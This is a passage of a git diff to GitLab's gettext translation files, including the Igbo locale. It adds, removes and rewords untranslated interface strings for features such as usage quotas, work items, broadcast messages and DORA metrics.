+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44044,15 +44748,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44083,15 +44781,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44149,24 +44841,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44194,9 +44874,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44215,15 +44892,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44380,6 +45051,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44435,6 +45109,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44609,9 +45289,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44678,10 +45355,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -44849,10 +45526,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45044,6 +45718,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45056,9 +45733,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45128,6 +45802,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45220,6 +45897,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45251,6 +45931,9 @@ msgstr[0] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45263,6 +45946,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45287,9 +45973,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46022,10 +46705,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46471,9 +47154,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46559,6 +47254,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46568,7 +47266,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46601,7 +47299,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46655,6 +47353,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46676,6 +47380,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -46779,6 +47489,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -46911,9 +47624,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47004,6 +47714,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47043,9 +47756,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47061,7 +47771,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47154,7 +47864,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47299,6 +48012,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47452,8 +48168,9 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
msgid "YouTube"
msgstr ""
@@ -47690,6 +48407,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47717,7 +48437,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -47793,6 +48513,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -47991,6 +48714,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48223,10 +48949,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48376,9 +49105,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -48855,9 +49581,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49367,6 +50090,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49454,12 +50180,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -49864,6 +50584,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/ig_NG/gitlab.po b/locale/ig_NG/gitlab.po
index eef691d8134..c153ccb94e5 100644
--- a/locale/ig_NG/gitlab.po
+++ b/locale/ig_NG/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ig\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:44\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -659,6 +659,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -731,6 +734,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -861,6 +867,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -877,6 +889,10 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1010,10 +1023,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1409,7 +1418,7 @@ msgid_plural "%d roles"
msgstr[0] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgid "1 week remaining"
@@ -1633,6 +1642,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1777,9 +1789,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1828,9 +1837,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -1990,7 +1996,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2068,6 +2074,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2446,15 +2455,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2536,9 +2548,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2566,6 +2587,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2620,6 +2647,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2689,6 +2719,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2776,6 +2809,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2863,9 +2899,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3157,7 +3193,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3202,6 +3238,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3460,6 +3499,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4102,9 +4144,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4273,15 +4312,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4315,9 +4345,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4568,6 +4595,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4708,9 +4747,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4799,6 +4835,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -4935,6 +4974,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5482,6 +5524,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5497,12 +5542,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7070,9 +7121,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7668,6 +7803,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7779,13 +7917,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8066,6 +8201,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8225,12 +8363,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8414,6 +8546,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8538,6 +8673,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8640,12 +8778,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9310,21 +9454,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9812,6 +9941,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10700,6 +10832,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11093,6 +11228,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11988,6 +12126,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12012,6 +12153,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12024,7 +12168,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12045,6 +12192,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
